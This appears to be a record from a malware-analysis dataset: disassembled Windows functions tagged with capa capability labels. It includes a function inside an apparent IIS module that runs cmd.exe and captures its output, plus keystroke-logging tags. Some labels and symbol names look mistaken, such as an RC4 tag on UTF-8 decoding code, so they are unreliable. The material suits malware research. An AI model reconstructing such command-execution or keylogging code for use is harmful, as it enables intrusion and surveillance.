joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18006c200
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov qword [0x1800ad2a8], rcx
lea rdi, [rcx + 0x350]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x18006c25c
mov rcx, qword [rdi]
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_ScreenToClient]
movd xmm0, dword [rsp + 0x40]
movd xmm1, dword [rsp + 0x44]
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
movsd qword [0x1800ad298], xmm0
movsd qword [0x1800ad2a0], xmm1
cmp dword [rbx + 0x7c], 0x34001
jne 0x18006c2a0
mov rcx, qword [rbx + 0x50]
test rcx, rcx
je 0x18006c281
mov rcx, qword [rcx + 8]
call qword [sym.imp.USER32.dll_SetCursor]
lea rdi, [rbx + 0x350]
jmp 0x18006c2a8
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
lea rdi, [rbx + 0x350]
jmp 0x18006c2a8
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, rbx
call fcn.180066b40
mov rcx, rbx
call fcn.18006bc90
cmp dword [rbx + 0x1f8], 0
je 0x18006c2fb
mov rax, qword [rdi]
lea rcx, [rsp + 0x20]
mov edx, 1
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c2fb
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.180070990
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x18006c310
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c352
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.180070990
add rsp, 0x38
ret
Function at 0x18006c360
Capabilities:
Register raw input devices

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x1f8], 0
mov rbx, rcx
je 0x18006c3b0
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c3b0
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.180070990
xor ecx, ecx
mov qword [0x1800ad2a8], 0
call qword [sym.imp.USER32.dll_ClipCursor]
cvttsd2si ecx, qword [0x1800ad298]
mov qword [0x1800ad2b0], 0
lea rdx, [rsp + 0x40]
cvttsd2si eax, qword [0x1800ad2a0]
mov dword [rsp + 0x40], ecx
mov dword [rbx + 0x388], ecx
mov rcx, qword [rbx + 0x350]
mov dword [rsp + 0x44], eax
mov dword [rbx + 0x38c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_SetCursorPos]
cmp dword [rbx + 0x7c], 0x34001
jne 0x18006c450
mov rcx, qword [rbx + 0x50]
test rcx, rcx
je 0x18006c434
mov rcx, qword [rcx + 8]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
xor ecx, ecx
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]

Function at 0x18006c460
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov rax, qword [rcx + 0x350]
mov edx, 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c4a2
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.180070990
add rsp, 0x38
ret

Function at 0x18006c550
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, send
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, ebx
mov ecx, send
or edi, 2
test ax, ax
cmovns edi, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
mov esi, edi
mov ecx, 0x5c
or esi, 4
test ax, ax
cmovns esi, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x5b
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, esi
mov ecx, socket
or edi, 8
or bx, ax
cmovns edi, esi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ebx, edi
mov ecx, 0x90
or ebx, 0x10
test al, 1
cmove ebx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov rsi, qword [rsp + 0x38]
mov ecx, ebx
or ecx, 0x20
test al, 1
cmove ecx, ebx
mov rbx, qword [rsp + 0x30]
mov eax, ecx
add rsp, 0x20
pop rdi
ret

Function at 0x18006f860
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx + 4], eax
cmp eax, 0xffffffff
jne 0x18006f890
lea rdx, [0x180090630]
mov ecx, 0x10008
call fcn.180070990
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov dword [rbx], 1
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x1800711c0
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x1800a9040]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x1800acbc2]
mov r8d, 0x6d1
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x40]
mov qword [rsp + 0x1d0], rdi
sub r14, 0x480
lea rbp, [0x1800ac948]
xor r12d, r12d
lea r15, [0x1800acc62]
mov ebx, 0x20
movsx esi, word [rbp]
cmp esi, 0xffffffff
je 0x180071378
cmp ebx, 0x140
jb 0x1800712df
cmp ebx, 0x14e
ja 0x1800712df
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x44], 0x61
mov dword [rsp + 0x48], 0x62
mov dword [rsp + 0x4c], 0x63
mov dword [rsp + 0x50], 0x64
mov dword [rsp + 0x54], 0x65
mov dword [rsp + 0x58], 0x66
mov dword [rsp + 0x5c], 0x67
mov dword [rsp + 0x60], 0x68
mov dword [rsp + 0x64], 0x69
mov dword [rsp + 0x68], WSACleanup
mov dword [rsp + 0x6c], WSACleanup
mov dword [rsp + 0x70], 0x6a
mov dword [rsp + 0x74], WSACleanup
mov dword [rsp + 0x78], 0x6b
mov edi, dword [r14]
jmp 0x1800712ee
mov edx, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edi, eax
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 0xffffffff
jne 0x180071341
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jl 0x180071378
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x80]
mov qword [rsp + 0x30], r12
mov r9d, 1
mov dword [rsp + 0x28], 5
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebx
add r15, 5
add r14, 4
add rbp, 2
cmp ebx, 0x15c
jle 0x180071241
mov rdi, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.180065a90
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x180074070
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1800a9040]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [0x1800ad4e0], 0
lea rax, str.libOSMesa.dll
lea rcx, str.OSMesa.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
je 0x1800740c5
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180065a90
add rsp, 0x48
ret
mov qword [rsp + 0x40], rbx
xor ebx, ebx
nop dword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1800ad4e0], rax
mov rcx, rax
test rax, rax
jne 0x1800740f5
mov rax, qword [rsp + rbx*8 + 0x28]
inc rbx
test rax, rax
jne 0x1800740d0
mov rbx, qword [rsp + 0x40]
test rcx, rcx
jne 0x180074124
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.180069f10
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180065a90
add rsp, 0x48
ret
lea rdx, str.OSMesaCreateContextExt
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaCreateContextAttribs
mov qword [0x1800ad4e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaDestroyContext
mov qword [0x1800ad4f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaMakeCurrent
mov qword [0x1800ad4f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaGetColorBuffer
mov qword [0x1800ad500], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaGetDepthBuffer
mov qword [0x1800ad508], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaGetProcAddress
mov qword [0x1800ad510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1800ad4e8], 0
mov qword [0x1800ad518], rax
je 0x180074215
cmp qword [0x1800ad4f8], 0
je 0x180074215
cmp qword [0x1800ad500], 0
je 0x180074215
cmp qword [0x1800ad508], 0
je 0x180074215
cmp qword [0x1800ad510], 0
je 0x180074215
test rax, rax
jne 0x1800740ae
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.180069f10
mov rcx, qword [0x1800ad4e0]
test rcx, rcx
je 0x180074243
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x1800ad4e0], 0
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180065a90
add rsp, 0x48
ret
Function at 0x18003d15e
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044670
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostPreExecuteRequestHandler
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003d17c
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800449f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnResolveRequestCache
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003d3fc
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800443f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostBeginRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003d50f
Capabilities:
Print debug messages

Disassembly:
jmp 0x180043ef0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnBeginRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x18003db3b
Capabilities:
Create pipe
Create process on windows
Create process suspended
Read file on windows

Disassembly:
jmp 0x180045180
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1848
call fcn.18003d884
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x47e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1868]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x17e8], rax
lea rcx, [0x1800e709f]
call fcn.18003ff85
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x118], 0
mov dword [rbp + 0xc8], 0x18
mov dword [rbp + 0xd8], 1
mov qword [rbp + 0xd0], 0
xor r9d, r9d
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.18003f350
mov dword [rbp + 0x10], 0x68
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x4c]
bts eax, 8
mov dword [rbp + 0x4c], eax
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.18003f350
mov dword [rbp + 0x134], 0x104
mov eax, dword [rbp + 0x134]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x158], rax
mov eax, dword [rbp + 0x134]
mov r9, qword [rbp + 0x1818]
lea r8, str._c__s
mov edx, eax
mov rcx, qword [rbp + 0x158]
call fcn.18003f4ef
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x158]
lea rcx, str.C:Windows_system32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x134]
mov r8d, 0x4000
mov edx, eax
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x174], 0
mov dword [rbp + 0x194], 0
mov rax, qword [rbp + 0x1810]
mov qword [rbp + 0x11d8], rax
xor eax, eax
cmp eax, 1
je 0x180045410
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x174]
mov r8d, 0x1000
lea rdx, [rbp + 0x1c0]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rbp + 0x174], 0
jne 0x18004539d
jmp 0x180045410
mov eax, dword [rbp + 0x194]
mov rcx, qword [rbp + 0x1810]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x11d8], rax
mov eax, dword [rbp + 0x174]
mov ecx, dword [rbp + 0x194]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0x9c40
jb 0x1800453db
jmp 0x180045410
mov eax, dword [rbp + 0x174]
mov r8d, eax
lea rdx, [rbp + 0x1c0]
mov rcx, qword [rbp + 0x11d8]
call fcn.18003e70c
mov r8d, 0x1000
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.18003f350
jmp 0x18004535d
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x1800c2680]
call fcn.18003f71f
mov eax, edi
mov rcx, qword [rbp + 0x17e8]
xor rcx, rbp
call fcn.18003e707
lea rsp, [rbp + 0x17f8]
pop rdi
pop rbp
ret
Function at 0x18003dcc6
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044070
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnExecuteRequestHandler
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x18003e1b7
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044a70
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnSendResponse
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003e243
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1800b0b98
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0xa0]
lea r10, [0x1800dcba8]
xor r11d, r11d
lea rdi, [0x1800c43f4]
test r9, r9
mov rax, rdx
mov r12, rdx
cmovne r10, r9
test rdx, rdx
lea ebp, [r11 + 1]
cmovne rdi, rdx
mov r15d, ebp
cmovne r15, r8
neg rax
sbb r14, r14
and r14, rcx
test r15, r15
jne 0x1800b0c08
mov rax, 0xfffffffffffffffe
jmp 0x1800b0d55
cmp word [r10 + 6], r11w
jne 0x1800b0c77
movzx r9d, byte [rdi]
inc rdi
test r9b, r9b
js 0x1800b0c32
test r14, r14
je 0x1800b0c23
mov dword [r14], r9d
test r9b, r9b
setne r11b
mov rax, r11
jmp 0x1800b0d55
mov al, r9b
and al, 0xe0
cmp al, 0xc0
jne 0x1800b0c40
mov r8b, 2
jmp 0x1800b0c5e
mov al, r9b
and al, 0xf0
cmp al, 0xe0
jne 0x1800b0c4e
mov r8b, 3
jmp 0x1800b0c5e
mov al, r9b
and al, 0xf8
cmp al, 0xf0
jne 0x1800b0d4a
mov r8b, 4
movzx eax, r8b
mov ecx, 7
sub ecx, eax
mov edx, ebp
shl edx, cl
mov bl, r8b
sub edx, ebp
and edx, r9d
jmp 0x1800b0ca0
mov r8b, byte [r10 + 4]
mov edx, dword [r10]
mov bl, byte [r10 + 6]
lea eax, [r8 - 2]
cmp al, 2
ja 0x1800b0d4a
cmp bl, bpl
jb 0x1800b0d4a
cmp bl, r8b
jae 0x1800b0d4a
movzx ebp, bl
cmp rbp, r15
mov r9d, ebp
cmovae r9, r15
jmp 0x1800b0ccd
movzx ecx, byte [rdi]
inc rdi
mov al, cl
and al, 0xc0
cmp al, 0x80
jne 0x1800b0d4a
mov eax, edx
and ecx, 0x3f
shl eax, 6
mov edx, ecx
or edx, eax
mov rax, rdi
sub rax, r12
cmp rax, r9
jb 0x1800b0caf
cmp r9, rbp
jae 0x1800b0cf9
movzx eax, r8b
sub bl, r9b
mov word [r10 + 4], ax
movzx eax, bl
mov word [r10 + 6], ax
mov dword [r10], edx
jmp 0x1800b0bfc
lea eax, [rdx - 0xd800]
cmp eax, 0x7ff
jbe 0x1800b0d4a
cmp edx, 0x110000
jae 0x1800b0d4a
movzx eax, r8b
mov dword [rsp + 0x20], 0x80
mov dword [rsp + 0x24], 0x800
mov dword [rsp + 0x28], 0x10000
cmp edx, dword [rsp + rax*4 + 0x18]
jb 0x1800b0d4a
test r14, r14
je 0x1800b0d38
mov dword [r14], edx
neg edx
mov rdx, r10
sbb rcx, rcx
and rcx, rbp
call fcn.18003fc15
jmp 0x1800b0d55
mov rdx, rsi
mov rcx, r10
call fcn.1800402af
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.18003e707
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18003e293
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x180048338
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x180000000], ax
jne 0x1800483c5
movsxd rcx, dword [0x18000003c]
lea rdx, [0x180000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1800483c5
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1800483c5
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x1800483ac
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x1800483a6
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1800483ae
add rdx, 0x28
jmp 0x18004838b
xor edx, edx
test rdx, rdx
jne 0x1800483b7
xor al, al
jmp 0x1800483cb
cmp dword [rdx + 0x24], 0
jge 0x1800483c1
xor al, al
jmp 0x1800483cb
mov al, 1
jmp 0x1800483cb
xor al, al
jmp 0x1800483cb
add rsp, 0x18
ret

Function at 0x18003e46e
Capabilities:
Print debug messages

Disassembly:
jmp 0x180043ff0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnEndRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003e473
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800448f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnReadEntity
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret